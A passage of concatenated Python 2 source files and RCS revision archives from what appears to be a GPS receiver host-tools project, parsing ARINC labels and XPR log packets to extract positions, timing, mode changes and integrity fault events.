PseudoRange = self.concat(61, 28, 9, 62, 28, 18, 0.125)
self.handle_pseudorange(PseudoRange)
except KeyError:
pass # one of the pseudorange labels isn't available
def get_position(self, coarse_id, fine_id):
"""" Returns the postion using the specified coarse and fine label numbers """
return self.concat(coarse_id, 28, 9, fine_id, 28, 15, 0.00390625)
def handle73(self, label):
""" Handles SV position labels: 65/66, 70/71, 72/73 """
self.handle(label)
try:
x = self.get_position(65, 66)
y = self.get_position(70, 71)
z = self.get_position(72, 73)
self.handle_sv_position(x, y, z)
except KeyError:
pass # one of the position labels isn't available
def handle74(self, label):
try:
seconds = self.utc_seconds
except AttributeError:
return
# strip 1's place of seconds and add on meas time
meas_seconds = (int(seconds / 10.0) * 10.0) + label.UTCMeasurementTime
# handle possible wrap-around
if meas_seconds < seconds - 5.0:
meas_seconds += 10.0
self.handle_utc_measurement_time(meas_seconds)
def handle121(self, label):
""" Handles GNSS position labels 110/120 and 111/121 """
self.handle(label)
try:
scale = GPS_PI * 2**-31
lat = self.concat(110, 28, 9, 120, 28, 18, scale)
lon = self.concat(111, 28, 9, 121, 28, 18, scale)
self.handle_gnss_position(lat, lon)
except KeyError:
pass
def handle150(self, label):
""" Handles UTC labels: 141, 150, and 160 """
try:
L260 = self(260)
# print dir(L260)
tm_mday = 10 * L260.TensOfDays + L260.UnitsOfDays
tm_mon = 10 * L260.TensOfMonths + L260.UnitsOfMonths
tm_year = 10 * L260.TensOfYears + L260.UnitsOfYears
self.utc_seconds = time.mktime( \
(tm_year, tm_mon, tm_mday, label.Hours,
label.Minutes, label.Seconds, 0, 0, -1 ))
self.utc_seconds += self(140).FractionsOfASecond \
+ self(141).FineFractionsOfASecond
self.handle_utc(self.utc_seconds)
except KeyError:
pass
#-----------------------------------------------------------
# placeholders for concatenated-data handlers
def handle_sv_position(self, x, y, z):
""" Handle satellite position in ECEF format """
pass
def handle_gnss_position(self, lat_rads, lon_rads):
""" Handle GNSS position in radians of lat/lon """
pass
def handle_pseudorange(self, PseudoRange):
""" Handle pseudorange """
pass
def handle_utc(self, seconds):
""" Handle UTC time. 'seconds' is seconds since the UNIX epoch,
similar to the return value of Python's time.time() """
pass
def handle_utc_measurement_time(self, seconds):
""" Handle UTC measurement time. 'seconds' is as described in
handle_utc(). """
pass
class TestParser(Parser):
""" Test class for Parser. Prints concatenated values. """
def handle273(self, label):
print # print a blank line to delimit this label set
def handle_gnss_position(self, lat_rads, lon_rads):
print '%s: lat=%0.15f, lon=%0.15f' % (self.timestamp, lat_rads, lon_rads)
def handle_sv_position(self, x, y, z):
try:
self.sv = self(60).SVID
except KeyError:
return # missing label 060
print '%s: PRN=%2d X=%f Y=%f Z=%f' % (self.timestamp, self.sv, x, y, z)
def handle_pseudorange(self, PseudoRange):
print '%s: PseudoRange=%f' % (self.timestamp, PseudoRange)
def handle_utc(self, seconds):
tm = time.gmtime(seconds)
s = time.strftime("%a, %d %b %Y %H:%M:%S", tm)
fraction_s = ('%0.3f' % (seconds % 1.0, ))[2:]
tow = utc2tow(seconds)
print '%s: UTC time=%s.%s TOW=%0.3f' % (self.timestamp, s, fraction_s, tow)
def handle_utc_measurement_time(self, seconds):
print '%s: Measurement TOW=%0.3f' % (self.timestamp, utc2tow(seconds), )
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'export.raw'
TestParser().main('ARINC Concat Parser Test', fname)<file_sep>/rcs/get_3b_meas_with_tow_in_use_flag.py
head 1.1;
branch ;
access ;
symbols ;
locks e278028(2012.04.10.15.44.30):1.1; strict;
comment @@;
1.1
date 2012.03.22.19.59.46; author VigneshKrishnan; state In_Progress;
branches ;
next ;
ext
@project M:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@from xpr_log import Parser
class get_3b_meas_with_tow_in_use_flag(Parser):
def parse(self, fname):
meas_fname = 'meas_3b_out.txt'
print 'Writing 0x3b measurements from', fname, 'to', meas_fname
self.meas_f = file(meas_fname, 'wt')
self.msg32 = self.msg3A = self.msg3B = None
Parser.parse(self, fname)
# handle EXPR packets 32, 3a and 3b
def handle32(self, msg):
if msg.at_pps:
# process measurements from the prior second
self.process_measurements()
# mark old messages as invalid
self.msg3A = self.msg3B = None
# save the new msg32 for the next processing cycle
self.msg32 = msg
def handle3A(self, msg):
if self.msg3A is None or \
self.msg3A.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3A = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3A.channel_stat += msg.channel_stat
def handle3B(self, msg):
if self.msg3B is None or \
self.msg3B.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3B = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3B.measurements += msg.measurements
def process_measurements(self):
# check if we have a valid msg32
if self.msg32 is None:
return
if not self.msg32.at_pps:
return # not at PPS
if not self.msg32.validity & 0x20:
return # time fields not valid
# calculate TOW and check if measurements can be used
self.tow = self.msg32.gps_tow
self.wn = self.msg32.gps_week
self.year = self.msg32.year
self.month = self.msg32.month
self.day = self.msg32.day
self.hour = self.msg32.hour
self.min = self.msg32.minute
self.sec = self.msg32.second
seq_num = self.msg32.time_mark_sequence_number
# verify that we have a 3A
if self.msg3A is None:
print 'Missing 3A at', self.msg32.timestamp()
return
if self.msg3B is None:
print 'Missing 3B at', self.msg32.timestamp()
return
# verify that 3A and 3B have the same sequence number as 32
if self.msg3A.time_mark_sequence_number != seq_num or \
self.msg3B.time_mark_sequence_number != seq_num:
print 'Time mark sequence number mismatch at %s: %d, %d, %d' % \
(self.msg32.timestamp(), seq_num, self.msg3A.time_mark_sequence_number,
self.msg3B.time_mark_sequence_number)
return
# verify that 3A is complete
if len(self.msg3A.channel_stat) != self.msg3A.number_of_channels_in_receiver:
print 'Incomplete 3A at %s: %d of %d' % \
(self.msg3A.timestamp(),
len(self.msg3A.channel_stat), self.msg3A.number_of_channels_in_receiver)
return
# verify that 3B is complete
if len(self.msg3B.measurements) != self.msg3B.total_number_of_measurements:
print 'Incomplete 3B at %s: %d of %d' % \
(self.msg3B.timestamp(),
len(self.msg3B.measurements), self.msg3B.total_number_of_measurements)
return
# all pre-conditions have been met: process 3B's measurements
for meas in self.msg3B.measurements:
# check if the measurement meets various pre-conditions
if not (meas.validity_and_in_use_mask & 0xC0):
# print 'measurement not valid:', meas.validity_and_in_use_mask
continue
print >> self.meas_f, '%d %.11f %d %d %d %d %d %.11f %d %d' % \
(self.wn, self.tow, \
self.year, self.month, self.day, self.hour, self.min, self.sec, \
meas.prn, (meas.validity_and_in_use_mask & 0x80))
if __name__ == '__main__':
get_3b_meas_with_tow_in_use_flag().main('get_3b_meas_with_tow_in_use_flag')
@
<file_sep>/pytools/Other Pytools/clock_bias.py
""" clock_bias.py: Shows estimated clock frequency bias from packets 0x53.
Outputs are printed and stored in clock_bias.txt. """
__author__ = '<NAME>'
__version__ = '$Revision: 1.2 $'
from xpr_log import Parser
class ClockBias(Parser):
def handle53(self, msg):
print msg.clock_bias_sec
if __name__ == '__main__':
import stdout_logger
stdout_logger.Logger('clock_bias.txt')
ClockBias().main('Clock Bias')
<file_sep>/pytools/Other Pytools/version_changes.py
"""version_changes.py: Reports version number changes in XPR log files.
This file serves as a base class for other parsers and illustrates the basic
structure of an XPR post-processor via the comments on the right.
"""
from xpr_log import Parser # import the xpr_log framework as Parser
class VersionChanges(Parser): # derive your class from Parser
def __init__(self, abort_at_change=True): # initialize the class
Parser.__init__(self) # initialize the parser
self.abort_at_change = abort_at_change # initialize your class's state data
self.last_sw_version = None
def handle1D(self, msg): # defina a packet handler
if msg.sw_version != self.last_sw_version: # implement the handler logic
print '%s SW Version %s at %0.1f minutes' % \
(msg.timestamp(), msg.sw_version, msg.second / 60.0)
if self.abort_at_change and self.last_sw_version:
self.abort_parse = True # abort when SW restarts
self.last_sw_version = msg.sw_version
if __name__ == '__main__': # implement Python's "main" idiom
VersionChanges(False).main('Version Changes') # instantiate the class and call its "main", supplying a title<file_sep>/rcs/pvti_sum.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2008.05.27.16.18.27; author John.Savoy; state Exp;
branches ;
next 1.1;
1.1
date 2008.05.02.12.54.10; author John.Savoy; state Exp;
branches ;
next ;
ext
@project F:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@""" Extracts the PVTI data from packets 0x31 and 0x32 """
from xpr_log import Parser as Parser
import sys
import string
class pvti_sum(Parser):
def __init__(self):
Parser.__init__(self)
self.get_parse_ids_from_handlers()
outfname = string.replace(sys.argv[1], '.txt', '.csv');
self.mode_lookup = {'Idle': 0, 'Acquisition': 1,'Navigation': 2,'Non-precision_SBAS_Navigation': 3, 'GBAS': 4, 'Dead-Reckoning': 5, 'Reserved': 6, 'Precision_SBAS_Navigation': 7, 'Test': 8, '???': 9}
#open output file and write header
self.f = open(outfname,'w');
print >> self.f, 'Sequence,week,TOW,Mode,Fault,FD,latitude,longitude,altitude,v_north,v_east,v_down,HIL,VIL'
self.restart_TMSN()
def handle31(self, msg):
if self.have_31 == 1:
print 'Missing packet 0x36 at %s' % (msg.timestamp())
self.restart_TMSN()
self.have_31 = 1
self.msg31 = msg
def handle32(self, msg):
if self.have_31 == 0:
print 'Missing packet 0x31 at %s' % (msg.timestamp())
self.restart_TMSN()
return
self.msg32 = msg
def handle35(self, msg):
if self.have_31 == 0:
print 'Missing packet 0x31 at %s' % (msg.timestamp())
self.restart_TMSN()
return
self.msg35 = msg
def handle36(self, msg):
if self.have_31 == 0:
print 'Missing packet 0x31 at %s' % (msg.timestamp())
self.restart_TMSN()
return
self.msg36 = msg
self.process_TMSN()
def restart_TMSN(self):
self.msg31 = self.msg32 = self.msg35 = self.msg36 = None
self.have_31 = 0
def process_TMSN(self):
complete_data = 1
if self.msg31 is None:
print 'Called process without 0x31'
complete_data = 0
if self.msg32 is None:
print 'Called process without 0x32'
complete_data = 0
if self.msg35 is None:
print 'Called process without 0x35'
complete_data = 0
if self.msg36 is None:
print 'Called process without 0x36'
complete_data = 0
if complete_data == 0:
return
print >> self.f, '%d,' % (self.msg31.get_sequence_number()),
print >> self.f, '%d,' % (self.msg32.gps_week),
print >> self.f, '%6.3f,' % (self.msg32.gps_tow),
print >> self.f, '%d,' % (self.mode_lookup [self.msg31.mode]),
print >> self.f, '%d,' % (int(self.msg31.fault)),
print >> self.f, '%d,' % (self.msg31.RAIM_detected_ranging_failure),
print >> self.f, '%f,' % (self.msg32.latitude),
print >> self.f, '%f,' % (self.msg32.longitude),
print >> self.f, '%f,' % (self.msg32.ellipsoidal_altitude),
print >> self.f, '%f,' % (self.msg32.north_velocity_component),
print >> self.f, '%f,' % (self.msg32.east_velocity_component),
print >> self.f, '%f,' % (self.msg32.down_velocity_component),
print >> self.f, '%f,' % (self.msg31.HIL),
print >> self.f, '%f' % (self.msg31.VIL),
print >> self.f
self.restart_TMSN()
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
self.restart_TMSN()
if __name__ == '__main__':
pvti_sum().main('Position Velocity Time and Integrity Summary')
@
1.1
log
@Initial revision@
text
@d18 1
a18 1
print >> self.f, 'Sequence,TOW,Mode,Fault,FD,latitude,longitude,altitude,v_north,v_east,v_down,HIL,VIL'
d24 1
a24 1
print ' Missing packet 0x36 at %s' % (msg.timestamp())
d74 1
d89 1
a89 1
print >> self.f, '%f,' % (self.msg31.VIL),
@
<file_sep>/pytools/GroupMsgParser.py
from xpr_log import Parser
import sys
import math
import os
""" Check events outside of class"""
import EventScanner
cScanner = EventScanner.EventScanner()
""" Decides which fault logs to capture """
import Config
cConfigLoader = Config.Config()
class GroupMsgParser(Parser):
def __init__(self):
Parser.__init__(self)
""" VARIABLE DEFINITIONS FOR CUSTOMIZATION """
cConfigLoader.readConfig( "Config.ini" )
self.desiredMode = cConfigLoader.getVal( 'MonitoringStationMode', 'DesiredMode' )
self.captureMODE1 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_MODE_1' ) == "True" ) else False
self.captureMODE2 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_MODE_2' ) == "True" ) else False #not yet implemented (08/12/15)
self.captureACC1 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_ACC_1' ) == "True" ) else False
self.captureACC2 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_ACC_2' ) == "True" ) else False
self.captureACC3 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_ACC_3' ) == "True" ) else False #HFOM. not yet implemented (08/12/15)
self.captureACC4 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_ACC_4' ) == "True" ) else False #VFOM. not yet implemented (08/12/15)
self.captureACC5 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_ACC_5' ) == "True" ) else False
self.captureINT1 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_INT_1' ) == "True" ) else False
self.captureINT2 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_INT_2' ) == "True" ) else False
self.captureINT3 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_INT_3' ) == "True" ) else False
self.captureINT4 = True if( cConfigLoader.getVal( 'CaptureFaultLogs', 'Capture_INT_4' ) == "True" ) else False #FDE. not yet implemented (08/12/15)
self.last_sw_version = None
self.get_parse_ids_from_handlers()
self.msg32 = self.msg31 = None
self.eventlist = [ ]
def handle15( self, msg ):
pass
def handle16( self, msg ):
pass
def handle17( self, msg ):
pass
def handle18( self, msg ):
pass
def handle19( self, msg ):
pass
def handle1A( self, msg ):
pass
def handle1B( self, msg ):
pass
def handle1C( self, msg ):
pass
def handle1D( self, msg ):
pass
def handle1F( self, msg ):
pass
def handle20( self, msg ):
pass
def handle21( self, msg ):
pass
def handle23( self, msg ):
pass
def handle24( self, msg ):
pass
def handle25( self, msg ):
pass
def handle26( self, msg ):
pass
def handle27( self, msg ):
pass
def handle28( self, msg ):
pass
def handle29( self, msg ):
pass
def handle2A( self, msg ):
pass
def handle2B( self, msg ):
pass
def handle2C( self, msg ):
pass
def handle2D( self, msg ):
pass
def handle2E( self, msg ):
pass
def handle30( self, msg ):
pass
def handle31( self, msg ):
if self.msg31 is None:
"""This is the first message in the second-long sequence."""
self.msg31 = msg
#GPS mode check
if (self.msg31.mode != self.desiredMode) and self.captureMODE1 is True:
event = "GPS mode is not mode selected by operator."
self.eventlist.append(event)
#Horizontal position error checks
if self.captureACC1 is False:
pass
elif self.msg31.HPE == 14000000.000000:
print "GNS Receiver not computing Horizontal Position Error."
else:
#HPE check
if ((self.msg31.mode == "Navigation" and self.msg31.HPE>=25) or
(self.msg31.mode == "Precision_SBAS_Navigation" and self.msg31.HPE>=10) or
(self.msg31.mode == "GBAS_Navigation" and msg.HPE>=5)) and self.captureACC1 is True:
event = "HPE exceeds allowable %s error" %self.msg31.mode
self.eventlist.append(event)
#HFOM check
#HIL/HPL check
if self.captureINT1 is False:
pass
elif self.msg31.HIL == 14000000.000000:
print "GNS Receiver not computing Horizontal Integrity Level."
elif self.msg31.HPE >= self.msg31.HIL and self.captureINT1 is True:
event = "HPE exceeds the autonomous HPL."
self.eventlist.append(event)
#Vertical position error checks
if self.captureACC2 is False:
pass
elif self.msg31.VPE == 14000000.000000:
print "GNS Receiver not computing Vertical Position Error."
else:
#VPE check
if ((self.msg31.mode == "Navigation" and self.msg31.VPE>=25) or
(self.msg31.mode == "Precision_SBAS_Navigation" and self.msg31.VPE>=10) or
(self.msg31.mode == "GBAS_Navigation" and self.msg31.VPE>=5)) and self.captureACC2 is True:
event = "VPE exceeds allowable %s error." %self.msg31.mode
self.eventlist.append(event)
#VFOM check
#VIL/VPL check
if self.captureINT2 is False:
pass
elif self.msg31.VIL == 14000000.000000:
print "GNS Receiver not computing Vertical Integrity Level."
elif self.msg31.VPE >= self.msg31.VIL and self.captureINT2 is True:
event = "VPE exceeds the autonomous VPL."
self.eventlist.append(event)
#RAIM check
if self.msg31.RAIM_detected_ranging_failure != 0 and self.captureINT3 is True:
event = "RAIM detected ranging failure."
self.eventlist.append(event)
def handle32( self, msg ):
if msg.at_pps:
# save events from prior second
cScanner.eventSave(self.eventlist)
# marks next messages as valid --> Add events as needed
self.msg31 = None
# save the new msg32 for the next processing cycle
self.msg32 = msg
if self.msg32:
if self.captureACC5 is False:
return
#velocity error check
ground_track = math.radians(self.msg32.ground_track)
real_north_velo = self.msg32.ground_speed * math.sin(ground_track)
real_east_velo = self.msg32.ground_speed * math.cos(ground_track)
if (math.fabs(real_north_velo - self.msg32.north_velocity_component) > 1) and \
self.captureACC5 is True:
event = "Velocity error is greater than 1 m/s in the North-South direction."
self.eventlist.append(event)
elif (math.fabs(real_east_velo - self.msg32.east_velocity_component) > 1) and \
self.captureACC5 is True:
event = "Velocity error is greater than 1 m/s in the East-West direction."
self.eventlist.append(event)
elif (math.fabs(self.msg32.vertical_speed + self.msg32.down_velocity_component) > 1) and \
self.captureACC5 is True:
event = "Velocity error is greater than 1 m/s in the downward direction."
self.eventlist.append(event)
def handle33( self, msg ):
pass
def handle34( self, msg ):
pass
#def handle35( self, msg ):
#pass
#def handle36( self, msg ):
#pass
def handle37( self, msg ):
pass
#def handle38( self, msg ):
#pass
#self.msg38 = msg
#if (self.msg38.number_of_measurements != self.msg31.number_of_visible_satellites) and \
#(int(self.msg31.fault) != 0) and (self.msg31.RAIM_detected_ranging_failure != 0):
#event = "Satellite(s) excluded by FDE."
#self.eventlist.append(event)
def handle39( self, msg ):
pass
#def handle3A( self, msg ):
#pass
#def handle3B( self, msg ):
#pass
#def handle3C( self, msg ):
#pass
def handle3F( self, msg ):
pass
def handle41( self, msg ):
pass
def handle47( self, msg ):
pass
def handle49( self, msg ):
pass
def handle4C( self, msg ):
pass
def handle4D( self, msg ):
pass
def handle50( self, msg ):
pass
def handle51( self, msg ):
pass
def handle52( self, msg ):
pass
def handle53( self, msg ):
pass
def handle54( self, msg ):
pass
def handle55( self, msg ):
pass
def handle57( self, msg ):
pass
def handle5A( self, msg ):
pass
def handle5B( self, msg ):
pass
def handle5C( self, msg ):
pass
#def handle5F( self, msg ):
#pass
def handle60( self, msg ):
pass
def handle61( self, msg ):
pass
def handle64( self, msg ):
pass
def handle65( self, msg ):
pass
def handle66( self, msg ):
pass
def handle67( self, msg ):
pass
def handle68( self, msg ):
pass
def handle69( self, msg ):
pass
def handle6A( self, msg ):
pass
def handle6B( self, msg ):
pass
def handle6C( self, msg ):
pass
def handle6D( self, msg ):
pass
def handle70( self, msg ):
pass
def handle71( self, msg ):
pass
def handle72( self, msg ):
pass
def handle73( self, msg ):
pass
def handle74( self, msg ):
pass
def handle75( self, msg ):
pass
def handle76( self, msg ):
pass
def handle77( self, msg ):
pass
def handle78( self, msg ):
pass
def handle79( self, msg ):
pass
def handle7A( self, msg ):
pass
def handle80( self, msg ):
pass
def handle81( self, msg ):
pass
def handle82( self, msg ):
pass
def handle83( self, msg ):
pass
def handle84( self, msg ):
pass
def handle85( self, msg ):
pass
def handle86( self, msg ):
pass
def handle87( self, msg ):
pass
def handle88( self, msg ):
pass
def handle89( self, msg ):
pass
def handle8A( self, msg ):
pass
def handle90( self, msg ):
pass
def handle91( self, msg ):
pass
def handle92( self, msg ):
pass
def handle93( self, msg ):
pass
def handle94( self, msg ):
pass
def handle95( self, msg ):
pass
def handle96( self, msg ):
pass
def handle97( self, msg ):
pass
def handle98( self, msg ):
pass
def handle99( self, msg ):
pass
if __name__ == '__main__':
p = GroupMsgParser()
p.parse_command_line_fnames()
<file_sep>/rcs/rawlog_info.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2007.12.14.21.04.46; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2006.01.12.16.50.42; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@added __version__@
text
@""" rawlog_info.py: support unit for pracc.py which reads rawlog context
information from a CSV file converted from a spreadsheet.
"""
__version__ = '$Revision: 1.1 $'
class RawlogInfo:
"""Stores context information of a single rawlog"""
min_signal_dict = { 'min':True, 'max':False }
for_credit_dict = { 'y':True, 'n':False, '':False }
def __init__(self, tow1, tow2, min_max, for_credit, test_section):
self.tow1 = tow1
self.tow2 = tow2
try:
self.min_signal = self.min_signal_dict[min_max.lower()]
except KeyError, err:
print 'Error: malformed min/max value:', min_max
raise ValueError, err
try:
self.for_credit = self.for_credit_dict[for_credit.lower()]
except KeyError, err:
print 'Warning: malformed "for credit" value: "%s"' % (for_credit, )
self.for_credit = False
self.test_section = test_section
def __str__(self):
return '%0.1f %0.1f %s %s %s' % (self.tow1, self.tow2, self.min_signal,
self.for_credit, self.test_section)
class RawlogInfoDict(dict):
"""Stores a collection of RawlogInfo objects indexed by rawlog number"""
def __init__(self, fname='rawlog_info.csv'):
self.fname = ''
if fname:
self.read(fname)
def __str__(self):
s = 'RawlogInfoDict from ' + self.fname
keys = self.keys()
keys.sort()
for key in self.keys():
s += '%i : %s\n' % (key, self[key])
return s
def read(self, fname):
"""Reads a file of rawlog information"""
try:
f = open(fname)
self.clear()
self.fname = fname
print 'Reading rawlog info file', fname, '...',
for line in f:
fields = line.split(',')
try:
self[fields[0]] = \
RawlogInfo(float(fields[1]), float(fields[2]),
fields[3], fields[4], fields[5])
except IndexError:
pass # comment line
except ValueError:
pass # comment line
f.close()
print 'done.'
except IOError:
print 'Cannot open', fname, 'for reading'
def get_nums_by_section(self, for_credit_only):
"""Returns a dictionary of lists of rawlog numbers, keyed by test section"""
sections = {}
for num in self:
if self[num].for_credit or not for_credit_only:
section = self[num].test_section
if not sections.has_key(section):
sections[section] = []
sections[section].append(num)
return sections
if __name__ == '__main__':
rid = RawlogInfoDict()
print rid
print 'Rawlog numbers by for-credit section:'
sections = rid.get_nums_by_section()
keys = sections.keys()
keys.sort()
for key in keys:
print key, sections[key]
@
1.1
log
@Initial revision@
text
@d5 2
@
<file_sep>/rcs/mode_changes.py
head 1.11;
branch ;
access ;
symbols 2PXRFS1:1.11 PVTSE_tests:1.11 HT_0113:1.11 TRR1:1.11;
locks ; strict;
comment @@;
1.11
date 2007.11.07.20.44.41; author Grant.Griffin; state In_Progress;
branches ;
next 1.10;
1.10
date 2007.02.08.21.10.20; author Grant.Griffin; state In_Progress;
branches ;
next 1.9;
1.9
date 2006.05.22.16.31.33; author griffin_g; state In_Progress;
branches ;
next 1.8;
1.8
date 2006.04.27.15.37.59; author griffin_g; state In_Progress;
branches ;
next 1.7;
1.7
date 2006.04.26.14.50.20; author AMoroz; state Exp;
branches ;
next 1.6;
1.6
date 2005.08.03.16.22.55; author griffin_g; state In_Progress;
branches 1.6.1.1;
next 1.5;
1.5
date 2005.05.17.15.13.30; author griffin_g; state In_Progress;
branches ;
next 1.4;
1.4
date 2004.10.28.15.10.17; author griffin_g; state In_Progress;
branches ;
next 1.3;
1.3
date 2004.10.25.21.43.08; author griffin_g; state In_Progress;
branches ;
next 1.2;
1.2
date 2004.10.22.21.59.08; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.10.13.15.33.46; author griffin_g; state In_Progress;
branches ;
next ;
1.6.1.1
date 2005.08.09.21.31.44; author AMoroz; state Exp;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.11
log
@added default initializations of minutes and delta_seconds in handle31()@
text
@""" Shows version changes and mode changes """
from version_changes import VersionChanges as Parser
class ModeChanges(Parser):
def __init__(self):
Parser.__init__(self)
self.last_mode = None
self.last_mode_second = 0
self.last_validity = None
self.last_gps_tow = -1.0
self.num_tow_reports = 0
self.last_num_visible = -1
def handle31(self, msg):
minutes = delta_seconds = 0
if msg.mode != self.last_mode:
minutes = self.second / 60.0
delta_seconds = (self.second - self.last_mode_second)
print '%s %-30s %4.1f min (delta %3i sec)' % \
(msg.timestamp(), msg.mode, minutes, delta_seconds)
self.last_mode = msg.mode
self.last_mode_second = self.second
if msg.number_of_visible_satellites != self.last_num_visible:
self.last_num_visible = msg.number_of_visible_satellites
if self.last_num_visible == 0:
print '%s %-30s %4.1f min (delta %3i sec)' % \
(msg.timestamp(), '0 satellites visible', minutes, delta_seconds)
def handle32(self, msg):
if self.last_validity != msg.validity:
if not (self.last_validity is None):
print '%s Validity changed to 0x%02X' % \
(msg.timestamp(), msg.validity)
self.last_validity = msg.validity
if self.last_gps_tow == msg.gps_tow:
if self.num_tow_reports < 10:
print '%s TOW did not change or went backwards ' % (msg.timestamp(), )
self.num_tow_reports += 1
else:
self.num_tow_reports = 0
self.last_gps_tow = msg.gps_tow
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
if __name__ == '__main__':
ModeChanges().main('Mode Changes')@
1.10
log
@added "or went backwards" to message@
text
@d17 1
@
1.9
log
@Added "0 satellites visible" message, which indicates card reset
This is derived from v1.7 because 1.8 was deemed to be bad@
text
@d38 1
a38 1
print '%s TOW did not change' % (msg.timestamp(), )
@
1.8
log
@removed handle_parse_error per improved error handling in xpr_log.py@
text
@d14 1
d24 5
d43 4
@
1.7
log
@Added rudimentary exception handling so that the script does not crash when there is a parsing error.@
text
@a37 4
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
@
1.6
log
@added detector for unchanging GPS tow@
text
@d38 4
@
1.6.1.1
log
@Proposed changes to not use msg.timestamp()@
text
@d19 2
a20 3
print '%07d %07d %-30s %4.1f min (delta %3i sec)' % \
(int(msg.serial_number), self.second, msg.mode, \
minutes, delta_seconds)
d27 2
a28 2
print '%07d %07d Validity changed to 0x%02X' % \
(int(msg.serial_number), self.second, msg.validity)
d32 1
a32 3
print '%07d %07d TOW did not change (%f vs %f)' % \
(int(msg.serial_number), self.second, msg.gps_tow, \
self.last_gps_tow)
@
1.5
log
@added reporting of changes in validity field of packet 0x32@
text
@d12 2
d30 7
@
1.4
log
@put version-change logic in version_changes.py@
text
@d11 1
d21 7
@
1.3
log
@@
text
@d1 1
a1 1
""" Shows system mode change times """
d3 1
a3 1
from xpr_log import Parser
d5 1
a5 1
class Mode_Changes(Parser):
a8 2
self.get_parse_ids_from_handlers()
self.last_sw_version = None
d10 1
a10 9
self.last_second = 0
print 'Mode Changes'
print
self.parse_command_line_fnames()
print
hours = int(self.second / 3600.0)
minutes = round((self.second % 3600.0) / 60)
print 'Data spans %i seconds = %i hour(s) and %i minute(s)' % \
(self.second, hours, minutes)
a11 8
def handle1D(self, msg):
if msg.sw_version != self.last_sw_version:
print '%6i : SW Version %s at %0.1f minutes' % \
(msg.get_sequence_number(), msg.sw_version, self.second / 60.0)
if self.last_sw_version:
self.abort_parse = True # abort when SW restarts
self.last_sw_version = msg.sw_version
d15 3
a17 3
delta_seconds = (self.second - self.last_second)
print '%6i : %-30s %4.1f min (delta %3i sec)' % \
(msg.get_sequence_number(), msg.mode, minutes, delta_seconds)
d19 1
a19 1
self.last_second = self.second
d22 1
a22 1
p = Mode_Changes()@
1.2
log
@@
text
@d18 3
a20 2
minutes = int(self.second % 60.0)
print 'Data spans %i hours and %i minutes' % (hours, minutes)
@
1.1
log
@Initial revision@
text
@d13 7
d23 2
a24 1
print ' SW Version %s at %0.1f minutes' % (msg.sw_version, self.second / 60.0)
a29 1
Parser.handle31(self, msg)
d33 2
a34 2
print ' %-30s at %4.1f minutes (delta %3i seconds)' % \
(msg.mode, minutes, delta_seconds)
d39 1
a39 3
print 'Mode Changes:'
p = Mode_Changes()
p.parse_command_line_fnames()@
<file_sep>/rcs/extract_measurement_accuracy.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2004.11.02.23.43.23; author AMoroz; state In_Progress;
branches ;
next ;
ext
@project F:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@""" Shows system mode change times """
# This script will output data in three columns
# Column 1 : time (seconds)
# Column 2 : PRN
# Column 3 : Range error (meters)
from xpr_log import Parser
import sys
import math
class extract_measurement_accuracy(Parser):
def __init__(self):
Parser.__init__(self)
self.last_sw_version = None
self.get_parse_ids_from_handlers()
# Antenna location is hard coded for antenna # 5
self.ant_x = -0.42055946876581e6
self.ant_y = -4.95006353583215e6
self.ant_z = 3.98714786428844e6
self.last_mode = None
self.last_second = None
self.prn = []
self.error = []
self.error_sum = 0
self.error_num = 0
def handle1D(self, msg):
if msg.sw_version != self.last_sw_version:
if self.last_sw_version:
self.abort_parse = True # abort when SW restarts
self.last_sw_version = msg.sw_version
def handle2C(self, msg):
# Message format
#tick = int(self[0])
#prn = int(self[1])
#range = safe_float(self[2])
#sigma = safe_float(self[3])
#rate = safe_float(self[4])
#sv_x = safe_float(self[5])
#sv_y = safe_float(self[6])
#sv_z = safe_float(self[7])
#sv_dx = safe_float(self[8])
#sv_dy = safe_float(self[9])
#sv_dz = safe_float(self[10])
#precision = int(self[11])
#correction = int(self[12])
#raw_pr = safe_float(self[13])
#smooth_pr = safe_float(self[14])
if self.second != self.last_second:
if self.last_second != None:
# Compute the common bias
common_bias = self.error_sum / self.error_num
for i in range(self.error_num):
print self.last_second, self.prn[i], self.error[i] - common_bias
self.last_second = self.second
self.prn = []
self.error = []
self.error_sum = 0
